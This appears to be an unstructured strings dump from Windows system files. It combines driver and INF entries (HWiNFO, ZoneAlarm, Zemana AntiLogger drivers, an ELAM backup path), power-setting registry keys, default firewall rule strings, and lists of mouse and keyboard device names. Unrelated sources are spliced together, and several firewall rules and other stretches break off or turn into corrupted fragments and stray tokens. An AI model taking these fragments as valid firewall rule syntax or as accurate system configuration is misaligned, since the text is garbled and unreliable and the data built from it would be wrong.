%uefi.devicedesc% Microsoft Microsoft UEFI-Compliant System Microsoft ufxchipidea.inf UfxChipidea UfxChipidea QcUsbFnFilter wpd_ci.dll,WpdClassInstaller ComputeAcc tor. %ClassDesc%;Neural p/ %SystemRoot%\syste kflt.SYS hpi_usb2.sys HP PhotoSmart Scanner hswultpep.sys Intel hswultpep.sys Intel *Intel* htkplus.SYS Hotkey PLUS Driver for Panasonic PC HWiNFO64A_172.sys HWiNFO Drivers REALiX HWiNFO64A_174.sys HWiNFO64A_176.sys HWiNFO64A_178.sys icsak.sys Zone Alarm ForceField drivers Check Point Software Technologies ZoneAlarm ForceField igdkmd64.sys igdkmd32.sys igdkmd64lp.sys iksysflt.sys PC Tools Research Pty Ltd imagedrv.sys Nero Imagedrive Ahead Software imagesrv.sys InCDRec.sys InCD Nero AG ino_fltr.sys Inoculan / InoculateIT Computer Associates intfiltr.sys Interrupt-Affinity Filter Tool Windows (R) 2000 DDK prov Windows (R) filter driver rporatL ISWKL.sys kbaseapi64.sys soft kbasemgr.sys kerneld.x64 aida64.exe t64.sys Zemana AntiLogger Zemana Ltd. NI22H2 Zemana AntiLogger* kiskn PCI\CC_0601 PNP0A04 PNP0A03 PNP0A08 PCI\CC_0604 PCI\CC_0605 PCI\CC_0609 PCI\CC_0C0A C:\Windows\ELAMBKUP Script Detection ElsLad.dll Copyright (c) Microsoft Corporation. All rights reserved. @elscore.dll,-2 text/plain text/plain Transliteration elstrans.dll Copyright (c) Microsoft Corporation. All rights reserved. @elscore.dll,-5 text/plain text/plain Copyright (c) Microsoft Corporation. All rights reserved. @elscore.dll,-4 %intel_mfg% %pcicontroller_desc% NO_DRV %intel_mfg% %smbus_desc% NO_DRV %intel_mfg% %thermalcontroldevice_desc% NO_DRV %intel_mfg% %chipsetcontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% MSISADRV %intel_mfg% %lpccontroller_desc% SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\97cfac41-2217-47eb-992d-618b1977c907\DefaultPowerSchemeValues\381b4222-f694-41f0-9685-ff5bb260df2e SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\97cfac41-2217-47eb-992d-618b1977c907\DefaultPowerSchemeValues\381b4222-f694-41f0-9685-ff5bb260df2e fc01e91f-914c-45af-9d7c-0b2e5fbedf64 Provisioning succeeded SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\97cfac41-2217-47eb-992d-618b1977c907\DefaultPowerSchemeValues\961cc777-2547-4f9d-8174-7d86181b8a7a ProvAcSettingIndex SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\97cfac41-2217-47eb-992d-618b1977c907\DefaultPowerSchemeValues\ded574b5-45a0-4f42-8737-46345c09c238 ProvAcSettingIndex %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {a68ca8b7-004f-d7b6-a698-07e2de0f1f5d} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {abf1f586-2e50-4ba8-928d-49044e6f0db7} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {3ff37a1c-a68d-4d6e-8c9b-f79e8b16c482} %SystemRoot%\system32\drivers\ntfs.sys {8e6a5303-a4ce-498f-afdb-e03a8a82b077} %SystemRoot%\system32\drivers\ntfs.sys {5909c524-5e57-5275-803f-ddb7b74c52f2} %SystemRoot%\system32\pcrpf.dll {d07e8c3f-78fb-4c22-b77c-2203d00bfdf3} %SystemRoot%\System32\DriverStore\FileRepository\usb4devicerouter.inf_amd64_e5acd82504f3c6d7\Usb4DeviceRouter.sys {8507cd07-f18b-54f0-b871-23c43a5bf118} %SystemRoot%\system32\drivers\ztdns.sys {40e3fc75-59e8-5443-47cb-a1e1b197fde0} %SystemRoot%\System32\zthelper.dll %SystemRoot%\System32\drivers\mlx4_bus.sys;%SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\mouclass.sys %generic.mfg% %usbhub3.usb20hubdesc% Generic.Install.NT %generic.mfg% %usbhub3.usb30hubdesc% USB Root Hub (USB 3.0) (Standard USB HUBs) Generic USB Hub Generic SuperSpeed USB Hub Microsoft usbport.inf usbehci usbui. %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %cputopcibridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% NO_DRV %via_mfg% %hostbridge_desc% 0s - 3++S++ v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|LPort2_10=5000-5020|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=FrameServer|Name=@FirewallAPI.dll,-54006|Desc=@FirewallAPI.dll,-54007|EmbedCtxt=@FirewallAPI.dll,-54001| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|LPort2_10=49152-65535|App=%SystemRoot%\system32\svchost.exe|Svc=DmEnrollmentSvc|Name=@FirewallAPI.dll,-37505|Desc=@FirewallAPI.dll,-37506|EmbedCtxt=@FirewallAPI.dll,-37502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Domain|LPort=162|App=%SystemRoot%\system32\snmptrap.exe|Svc=SNMPTRAP|Name=@firewallapi.dll,-50327|Desc=@firewallapi.dll,-50328|EmbedCtxt=@firewallapi.dll,-50323| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|RA4=LocalSubnet|RA6=LocalSubnet|App=%systemroot%\system32\wbem\unsecapp.exe|Name=@FirewallAPI.dll,-34256|Desc=@FirewallAPI.dll,-34257|EmbedCtxt=@FirewallAPI.dll,-34251| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=1|Profile=Domain|ICMP4=8:*|App=System|Name=@FirewallAPI.dll,-27002|Desc=@FirewallAPI.dll,-27005|EmbedCtxt=@FirewallAPI.dll,-27000| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Public|RPort=5353|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=dnscache|Name=@%SystemRoot%\system32\firewallapi.dll,-37305|Desc=@%SystemRoot%\system32\firewallapi.dll,-37306|EmbedCtxt=@%SystemRoot%\system32\firewallapi.dll,-37302| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=winmgmt|Name=@FirewallAPI.dll,-34254|Desc=@FirewallAPI.dll,-34255|EmbedCtxt=@FirewallAPI.dll,-34251| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=RPC-EPMap|RA4=LocalSubnet|RA6=LocalSubnet|App=%68|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=5358|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-32813|Desc=@FirewallAPI.dll,-32814|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=RPC-EPMap|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-34506|Desc=@FirewallAPI.dll,-34507|EmbedCtxt=@FirewallAPI.dll,-34501| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Domain|App=%SystemRoot%\system32\raserver.exe|Name=@FirewallAPI.dll,-33011|Desc=@FirewallAPI.dll,-33014|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-32761|Desc=@FirewallAPI.dll,-32764|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=RPC-EPMap|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-29265|Desc=@FirewallAPI.dll,-29268|EmbedCtxt=@FirewallAPI.dll,-29252| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=58|ICMP6=143:*|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-25076|Desc=@FirewallAPI.dll,-25081|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=58|Profile=Private|Profile=Public|ICMP6=128:*|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-27004|Desc=@FirewallAPI.dll,-27005|EmbedCtxt=@FirewallAPI.dll,-27000| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|LPort=RPC|App=%SystemRoot%\system32\NetEvtFwdr.exe|Name=@FirewallAPI.dll,-36802|Desc=@FirewallAPI.dll,-36803|EmbedCtxt=@FirewallAPI.dll,-36801| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Private|LPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32785|Desc=@FirewallAPI.dll,-32788|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=58|ICMP6=133:*|RA6=LocalSubnet|RA6=fe80::/64|RA6=ff02::2|App=System|Name=@FirewallAPI.dll,-25008|Desc=@FirewallAPI.dll,-25011|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Domain|Profile=Private|RPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-33023|Desc=@FirewallAPI.dll,-33026|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|Profile=Private|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-33031|Desc=@FirewallAPI.dll,-33034|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=5357|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-32817|Desc=@FirewallAPI.dll,-32818|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=58|ICMP6=135:*|App=System|Name=@FirewallAPI.dll,-25019|Desc=@FirewallAPI.dll,-25025|EmbedCtxt=@FirewallAPI.dll,-25000|Edge=TRUE| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|LPort=RPC-EPMap|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-36804|Desc=@FirewallAPI.dll,-36805|EmbedCtxt=@FirewallAPI.dll,-36801| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Domain|LPort=135|App=%SystemRoot%\system32\svchost.exe|Svc=rpcss|Name=@FirewallAPI.dll,-33035|Desc=@FirewallAPI.dll,-33036|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Private|RPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32765|Desc=@FirewallAPI.dll,-327 v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Public|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32754|Desc=@FirewallAPI.dll,-32756|EmbedCtxt=@FirewallAPI.dll,-32752|TTK2_27=UPnP| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Private|Profile=Public|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Msiscsi|Name=@FirewallAPI.dll,-29007|Desc=@FirewallAPI.dll,-29010|EmbedCtx irewallAPI.dll,- |Act FALSE|Dir=Out|Protoc/ ofile=Public|RPort=2869|RA -32822|Embed v2.33|Action=Allow|Active= |Dir=Out|P/ tocol=6|Profile=Domain|Profile=P te|A .exe|Svc=CDPSvc| |Des .dll rewa 2\OneCoreUAPCommonProxyS Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32753|Desc=@FirewallAPI.dll,-32756|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=RPC|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\services.exe|Name=@FirewallAPI.dll,-29503|Desc=@FirewallAPI.dll,-29506|EmbedCtxt=@FirewallAPI.dll,-29502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=RPC-EPMap|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-29515|Desc=@FirewallAPI.dll,-29518|EmbedCtxt=@FirewallAPI.dll,-29502| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=2|App=System|Name=@FirewallAPI.dll,-25377|Desc=@FirewallAPI.dll,-25382|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=80|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-35001|Desc=@FirewallAPI.dll,-35002|EmbedCtxt=@FirewallAPI.dll,-30252| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Domain|Profile=Public|LPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\dashost.exe|Name=@FirewallAPI.dll,-32825|Desc=@FirewallAPI.dll,-32826|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\p2phost.exe|Name=@FirewallAPI.dll,-32015|Desc=@FirewallAPI.dll,-32018|EmbedCtxt=@FirewallAPI.dll,-32002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|App=%SystemRoot%\system32\svchost.exe|Svc=Msiscsi|Name=@FirewallAPI.dll,-29003|Desc=@FirewallAPI.dll,-29006|EmbedCtxt=@FirewallAPI.dll,-29002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|App=%systemroot%\system32\WUDFHost.exe|Name=@wifidisplay.dll,-10204|Desc=@wifidisplay.dll,-10205|LUAuth=O:LSD:(A;;CC;;;S-1-5-84-0-0-0-0-0)|EmbedCtxt=@wifidisplay.dll,-100|TTK2_22=WFDDisplay| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|App=%SystemRoot%\system32\raserver.exe|Name=@FirewallAPI.dll,-33015|Desc=@FirewallAPI.dll,-33018|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=58|ICMP6=134:*|LA6=fe80::/64|RA6=LocalSubnet|RA6=fe80::/64|RA6=ff02::1|App=System|Name=@FirewallAPI.dll,-25013|Desc=@FirewallAPI.dll,-25018|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|App=%SystemRoot%\system32\p2phost.exe|Name=@FirewallAPI.dll,-32007|Desc=@FirewallAPI.dll,-32010|EmbedCtxt=@FirewallAPI.dll,-32002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=5358|App=System|Name=@FirewallAPI.dll,-32813|Desc=@FirewallAPI.dll,-32814|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=58|ICMP6=136:*|App=System|Name=@FirewallAPI.dll,-25026|Desc=@FirewallAPI.dll,-25032|EmbedCtxt=@FirewallAPI.dll,-25000|Edge=TRUE| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|RPort2_10=IPTLSOut|RPort2_10=IPHTTPSOut|App=%SystemRoot%\system32\svchost.exe|Svc=iphlpsvc|Name=@FirewallAPI.dll,-25427|Desc=@FirewallAPI.dll,-25429|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=554|LPort2_10=8554-8558|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=FrameServer|Name=@FirewallAPI.dll,-54002|Desc=@FirewallAPI.dll,-54003|EmbedCtxt=@FirewallAPI.dll,-54001| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Domain|Profile=Public|LPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=RPC-EPMap|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-29515|Desc=@FirewallAPI.dll,-29518|EmbedCtxt=@FirewallAPI.dll,-29502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|App=%systemroot%\system32\wbem\unsecapp.exe|Name=@FirewallAPI.dll,-34256|Desc=@FirewallAPI.dll,-34257|EmbedCtxt=@FirewallAPI.dll,-34251| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Domain|RPort=5357|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32819|Desc=@FirewallAPI.dll,-32820|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Private|RPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdrespub|Name=@FirewallAPI.dll,-32811|Desc=@FirewallAPI.dll,-32812|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Domain|Profile=Public|RPort=5355|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe che|Na ll,-32808|P Acti llow|Active=@ r=In|Pro LPort= stem Ctxt=@%SystemRoo 0 Ke 4ite 3e U 7EK 0s U me3\Windows\System32\pca displaymux.inf DisplayMux DisplayMux_Device.NT %stdmfg% %displaymuxdevice.devicedesc% (Standard system devices) Microsoft Display Mux Microsoft eaphost.inf UmPass umpass.inf {d1f60ead-c1c4-4e15-9a8b-2e37dca99faa} ECPComponent_Device.NT %msft% %ecpcomponent.devicedesc% Microsoft ECPNode Microsoft STSL USB Keyboard Mouse Cypress USB Mouse Sejin USB Mouse Dexin USB AQ Mouse Qtronix USB Mouse ELO TouchSystems USB Touchscreen STSL Microsoft USB Wheel Mouse Optical KB 9251B - 678 Mouse Microsoft USB Trackball Optical Microsoft USB Trackball Explorer Microsoft USB IntelliMouse with IntelliEye Microsoft USB IntelliMouse Microsoft USB IntelliMouse Explorer 3.0 Microsoft USB IntelliMouse Web Microsoft USB IntelliMouse Optical Solid Year Microsoft USB Wireless IntelliMouse Explorer SUPGERGATE Key Tronic Apple Mighty Mouse Logitech USB First/Pilot Mouse Logitech USB First/Pilot Mouse+ Logitech USB MouseMan Wheel Logitech USB iFeel Mouse Logitech USB MouseMan Microsoft USB IntelliMouse Explorer Logitech USB iFeel Mouse+ Logitech USB WingMan Gaming Mouse Logitech USB TrackMan Marble Wheel Logitech USB iFeel MouseMan Logitech USB WingMan Gaming Wheel Mouse Logitech USB Cordless Mouse Logitech USB Marble Mouse BTC USB Keyboard Mouse NMB USB Keyboard Mouse Monterey Microsoft Serial Mouse Logitech PS/2 Port Mouse Microsoft PS/2 Mouse PS/2 Compatible Mouse Solid Year USB Keyboard Mouse Logitech Serial Mouse Chicony USB Keyboard Mouse API Generic USB K/B Mouse Microsoft Serial BallPoint Maxi Switch, Inc. #1102 Mouse Maxi Switch, Inc. #2102 Mouse Silitek USB Keyboard Mouse Logitech HID Cordless Mouse+ Focus USB Keyboard Mouse Logitech HID Cordless Mouse+ Key Tronic USB Keyboard Mouse Evolution USB Mouse-Trak by ITAC Ortek USB Keyboard Mouse Anchor USB Mouse Genius USB Mouse Samsung USB Keyboard Mouse Genius USB Net Mouse Pro SUPGERGATE USB Keyboard Mouse Genius USB Wheel Mouse Acer ITAC Systems Microsoft Serial IntelliMouse Microsoft PS/2 Mouse Standard Serial Mouse Logitech Standard PS/2 Port Mouse Microsoft Serial EasyBall Microsoft Serial BallPoint Forward USB K/B Mouse STSL USB Keyboard Mouse %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexdesc% stex_Inst.NTamd64 %promise% %stexdesc% NODRV %promise% %promise_raid_consoledesc% Promise RAID Console Promise SuperTrak SAS/SATA 6G RAID Controller Vitesse 7250 Series SAS RAID (tm) Controller Promise SuperTrak SAS/SATA 3G RAID Controller Promise Technology, Inc. Promise SuperTrak EX 8350 Series SATA RAID (tm) Controller SISRaid4.NT %sis% %pci\ven_1039&dev_0184% SiS Storport AHCI Controller Silicon Integrated Systems Corp. %socket% %socket-5e3e.devicedesc% NonPort.NT %socket% %socket-af8a.devicedesc% ComPort.NT %socket% %socket-0484.devicedesc% ComPort.NT %socket% %socket-12f8.devicedesc% NonPort.NT %trimble% %trimble-6947.devicedesc% SMART Serial Port Socket PCMCIA Serial Adapter Socket PCMCIA GPS Adapter (Rev. C) Socket PCMCIA Serial Adapter Ericsson GC25 Compaq GSM Radio Card SMART Modular Technologies Socket PCMCIA PageCard V3.0 Socket PCMCIA Serial Adapter Trimble PCMCIA GPS Adapter (Rev. B) Socket PCMCIA GPS Adapter (Rev. B) Socket PCMCIA Serial Device Printer Port Communications Port ECP Printer Port Compaq GSM Radio Card Communications Port Multiport Communications Port %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 %promise% %stexyellowstonedesc% stex_Inst.NTamd64 hidi2c_Device.NT %msft% %hidi2c.devicedesc% Microsoft I2C HID Device Microsoft hidi3c.inf WUDFRd mshidumdf wudfrd.inf pci.inf HIDI3C HIDI3CDriver_Install.NT %standard.mfg% %hidi3c.devicedesc% v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=RPC-EPMap|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-29265|Desc=@FirewallAPI.dll,-29268|EmbedCtxt=@FirewallAPI.dll,-29252| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=58|Profile=Domain|ICMP6=128:*|App=System|Name=@FirewallAPI.dll,-27004|Desc=@FirewallAPI.dll,-27005|EmbedCtxt=@FirewallAPI.dll,-27000| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=135|App=%SystemRoot%\system32\svchost.exe|Svc=rpcss|Name=@FirewallAPI.dll,-34252|Desc=@FirewallAPI.dll,-34253|EmbedCtxt=@FirewallAPI.dll,-34251| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Domain|Profile=Private|LPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-33027|Desc=@FirewallAPI.dll,-33030|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=RPC|App=%SystemRoot%\system32\svchost.exe|Svc=ktmrm|Name=@FirewallAPI.dll,-33511|Desc=@FirewallAPI.dll,-33512|EmbedCtxt=@FirewallAPI.dll,-33502| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|App=%SystemRoot%\system32\proximityuxhost.exe|Name=@FirewallAPI.dll,-36252|Desc=@FirewallAPI.dll,-36253|EmbedCtxt=@FirewallAPI.dll,-36251|TTK=ProxSharing| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Domain|App=%SystemRoot%\system32\svchost.exe|Svc=Msiscsi|Name=@FirewallAPI.dll,-29007|Desc=@FirewallAPI.dll,-29010|EmbedCtxt=@FirewallAPI.dll,-29002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Domain|Profile=Public|LPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdrespub|Name=@FirewallAPI.dll,-32809|Desc=@FirewallAPI.dll,-32810|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|ive=TRUE|Dir=In|Profile=Public|App=%SystemRoot%\system32\dashost.exe|Name=@FirewallAPI.dll,-36852|Desc=@FirewallAPI.dll,-36853|LUAuth=O:LSD:(A;;CC;;;S-1-5-92-3339056971-1291069075-3798698925-2882100687-0)|EmbedCtxt=@FirewallAPI.dll,-36851|TTK2_22=WFDPrint| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=3540|App=%SystemRoot%\system32\svchost.exe|Svc=PNRPSvc|Name=@FirewallAPI.dll,-32023|Desc=@FirewallAPI.dll,-32026|EmbedCtxt=@FirewallAPI.dll,-32002| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|App=%systemroot%\system32\WUDFHost.exe|Name=@wifidisplay.dll,-10200|Desc=@wifidisplay.dll,-10201|LUAuth=O:LSD:(A;;CC;;;S-1-5-84-0-0-0-0-0)|EmbedCtxt=@wifidisplay.dll,-100|TTK2_22=WFDDisplay| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|LPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-34007|Desc=@FirewallAPI.dll,-34008|EmbedCtxt=@FirewallAPI.dll,-34002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=2869|App=System|Name=@FirewallAPI.dll,-32761|Desc=@FirewallAPI.dll,-32764|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=135|RA4=LocalSubnet|RA6=LocalSubnet|App=%systemroot%\system32\svchost.exe|Svc=rpcss|Name=@FirewallAPI.dll,-34755|Desc=@FirewallAPI.dll,-34756|EmbedCtxt=@FirewallAPI.dll,-34752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=41|App=System|Name=@FirewallAPI.dll,-25352|Desc=@FirewallAPI.dll,-25358|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Private|RPort=5358|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32815|Desc=@FirewallAPI.dll,-32816|EmbedCtxt=@FirewallAPI.dll,-32752| HIDBTH_Inst.NT %msft% %bthenum\{00001124-0000-1000-8000-00805f9b34fb}.devicedesc% Microsoft Bluetooth HID Device Microsoft hidbthle.inf mshidumdf WUDFRd wudfrd_include_needs_filter wudfrd_include_needs_lower_filter HidOverGatt mshidumdf WUDFRd wudfrd_include_needs_filter wudfrd_include_needs_lower_filter ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 ebdrv0 %hid\vid_0605&pid_0001.devicedesc% HID_Mouse_Inst.NT %solidyearmfg% %hid\vid_060b&pid_2101&mi_01.devicedesc% HID_Mouse_Inst.NT %msmfg% %hid.mousedevice% Ser_Inst %msmfg% %*serenum\msh0001.devicedesc% Ser_Inst %msmfg% %*serenum\msh0004.devicedesc% PS2_Inst %stdmfg% %*pnp0f0e.devicedesc% Ser_Inst %logimfg% %serenum\lgi8001.devicedesc% Ser_Inst %logimfg% %serenum\lgi8002.devicedesc% Ser_Inst %logimfg% %serenum\lgi8003.devicedesc% Ser_Inst %logimfg% 